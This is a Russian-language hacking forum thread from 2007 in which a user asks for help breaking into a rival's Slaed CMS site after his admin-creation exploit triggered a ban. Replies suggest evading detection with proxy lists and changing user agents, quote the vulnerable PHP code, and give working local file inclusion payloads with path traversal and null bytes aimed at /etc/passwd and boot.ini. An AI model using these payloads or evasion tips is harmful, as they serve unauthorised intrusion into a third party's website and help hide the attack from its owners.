Slaed sql

Discussion in 'Веб-уязвимости' started by Ershik, 10 Nov 2007.

  1. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Совершенно случайно ко мне в руки попал приватный эксплоит для удаленного создания администратора в MySQL Slaed CMS
    Начал тестировать на своем сайте, нормально.
    Все работает.
    Никаких предупреждении, что была попытка атаки не поступалала, и в логах не записывалось.
    Перешел на портал неприятеля(очень сильно мешает)
    Начал тестировать: и тут меня попросили пройти лесом, якобы была попытка атаки и пр. вообщем, автобан дали.
    Как это обойти?
    Сплоит недавный, выпущен на этой недели.
    Сможете помочь проникнуть в систему, поделюсь задаром :)

    Не туда тему отпостил, только сейчас заметил, модераторы, пожалуйста перенесите :)
     
    #1 Ershik, 10 Nov 2007
    Last edited: 10 Nov 2007
    2 people like this.
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Если сплоит не юзает списки проксиков и не меняет юзер агенты, то вполне могут и палить количество запросов.. по некоему идентификатору..
     
    1 person likes this.
  3. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Скачал последнюю версию с оффсайта Slaed CMS. Кинулся в глаза код в файле function/sources.php:
    PHP:
    function get_lang($module="") {
        global 
    $multilingual$currentlang$language$user_cookie_t;
        if (isset(
    $_REQUEST['newlang']) && $multilingual == "1") {
            if (
    file_exists("language/lang-".$_REQUEST['newlang'].".php")) {
                
    setcookie("lang"$_REQUEST['newlang'], time() + intval($user_cookie_t));
                require_once(
    "language/lang-".$_REQUEST['newlang'].".php");
    Вызов функции get_lang идет в файле index.php,
    PHP:
    require_once("function/function.php");
    get_lang();
    Поетому, при magic_quotes_gpc = off есть возможность заюзать локальный инклуд
    Code:
    http://[targethost]/index.php?newlang=../../../../../../../../../../etc/passwd%00
    
    Попробуй, может поможет.
     
    1 person likes this.
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    The_HuliGun в данном случае нельзя.
    через такую конструкцию
    Code:
    language/lang-".$_REQUEST['newlang'].".php
    в newlang можно передать локальные фвайлы из папки language, которые наячинаются с lang- =)) . фолдеры через нее не передадутся. можешь проверить на локалхосте
     
  5. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    blackybr, я тоже сперва хотел написать, что инклуда на самом деле нет, но когда я проверил на локалхосте, то все отлично работало. Так что проверь сам и убедись =) Попробуй так:
    http://localhost/slaed/html/?newlang=/../../index
    The_HuliGun +1
     
  6. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    На сайте не прокатило...
    Как мне сказали в личке, обнаружение атаки идет по той причине,что ведуться логи администратора...
     
  7. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Конечно будет работать, не знаю что тебя здесь удивило? Хотя есть одна особенность, как вы поняли, инклуд проходит через несуществующую папку. Например если инклудить
    Code:
    ?newlang=not_exist/../../../boot.ini%00
    
    Тогда получаем путь
    Code:
    language/lang-not_exist/../../../boot.ini%00
    
    И по сути папка lang-not_exist на системе не существует, а инклуд проходит. В свое время меня тоже мучил вопрос о инклуде через несуществующую папку, и я заметил характерную вещь для *nix систем: если иклудить с %00 в конце тогда все инклудится прекрасно, если без %00 тогда инклудить не хочет.
     
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Я сказал по своим наблюдениям. У меня на винде инклудит через несущ, на эмуле же под слакой нет =)

    в 1ом пхп 5.1.2, 2 - 4.4.4
     
  9. InATeam

    InATeam New Member

    Joined:
    24 Nov 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Множественные уязвимости в SLAED:
    http://inattack.ru/forum/index.php?showtopic=15102&pid=77907&st=0